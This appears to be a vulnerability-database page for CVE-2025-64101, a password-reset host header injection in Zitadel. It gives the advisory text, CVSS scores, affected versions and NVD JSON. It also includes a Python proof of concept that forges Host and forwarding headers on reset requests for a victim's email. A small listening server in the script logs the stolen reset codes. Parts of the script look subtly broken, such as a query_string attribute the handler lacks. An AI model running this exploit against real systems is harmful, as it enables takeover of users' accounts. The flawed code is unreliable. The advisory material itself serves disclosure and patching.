Security Vulnerability Report
中文
CVE-2025-64101 CVSS 8.1 HIGH

CVE-2025-64101

Published: 2025-10-29 19:15:39
Last Modified: 2025-11-04 13:20:04

Description

Zitadel is open-source identity infrastructure software. Prior to 4.6.0, 3.4.3, and 2.71.18, a potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user. If an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account. It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled. This vulnerability is fixed in 4.6.0, 3.4.3, and 2.71.18.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE
Zitadel < 2.71.18
Zitadel < 3.4.3
Zitadel < 4.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64101 Host Header Injection PoC # Target: Zitadel password reset mechanism import requests import argparse def exploit_host_header_injection(target_url, attacker_domain, victim_email): """ Exploit Host Header Injection in Zitadel password reset """ # Step 1: Request password reset with manipulated Host header reset_url = f"{target_url}/ui/console/user/passwordreset" headers = { 'Host': attacker_domain, # Malicious domain 'X-Forwarded-Host': attacker_domain, # Alternative injection vector 'Forwarded': f'host={attacker_domain}', # RFC 7239 forwarding 'Content-Type': 'application/json' } payload = { 'email': victim_email } print(f"[*] Sending password reset request for {victim_email}") print(f"[*] Injecting Host header: {attacker_domain}") response = requests.post(reset_url, json=payload, headers=headers, allow_redirects=False) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200 or response.status_code == 204: print("[+] Password reset email sent with manipulated link") print(f"[+] Victim will receive email with reset link pointing to: {attacker_domain}") print("[*] Attacker should set up listener on attacker_domain to capture reset code") return response def setup_capture_server(port=8080): """ Simple HTTP server to capture reset codes """ from http.server import HTTPServer, BaseHTTPRequestHandler class CaptureHandler(BaseHTTPRequestHandler): def do_GET(self): print(f"[!] Captured request: {self.path}") print(f"[!] Query params: {self.query_string}") # Extract and log the reset code with open('captured_codes.txt', 'a') as f: f.write(f"{self.path}\n") self.send_response(404) self.end_headers() def log_message(self, format, *args): pass # Suppress logging server = HTTPServer(('0.0.0.0', port), CaptureHandler) print(f"[*] Starting capture server on port {port}") server.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-64101 PoC') parser.add_argument('--target', required=True, help='Zitadel instance URL') parser.add_argument('--attacker', required=True, help='Attacker controlled domain') parser.add_argument('--email', required=True, help='Victim email') args = parser.parse_args() exploit_host_header_injection(args.target, args.attacker, args.email)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64101", "sourceIdentifier": "[email protected]", "published": "2025-10-29T19:15:38.763", "lastModified": "2025-11-04T13:20:04.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zitadel is open-source identity infrastructure software. Prior to 4.6.0, 3.4.3, and 2.71.18, a potential vulnerability exists in ZITADEL's password reset mechanism. ZITADEL utilizes the Forwarded or X-Forwarded-Host header from incoming requests to construct the URL for the password reset confirmation link. This link, containing a secret code, is then emailed to the user. If an attacker can manipulate these headers (e.g., via host header injection), they could cause ZITADEL to generate a password reset link pointing to a malicious domain controlled by the attacker. If the user clicks this manipulated link in the email, the secret reset code embedded in the URL can be captured by the attacker. This captured code could then be used to reset the user's password and gain unauthorized access to their account. It's important to note that this specific attack vector is mitigated for accounts that have Multi-Factor Authentication (MFA) or Passwordless authentication enabled. This vulnerability is fixed in 4.6.0, 3.4.3, and 2.71.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}, {"lang": "en", "value": "CWE-640"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.71.18", "matchCriteriaId": "CC5B40B7-D194-4612-84F5-9EE0477D1492"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.4.3", "matchCriteriaId": "71F16C15-7BC0-48BF-94CA-A0675AE8144E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.6.0", "matchCriteriaId": "EBBE21CE-7517-4843-AD68-281A0254BC26"}]}]}], "references": [{"url": "https://github.com/zitadel/zitadel/commit/72a5c33e6ac302b978d564bd049f9364f5a989b1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-mwmh-7px9-4c23", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}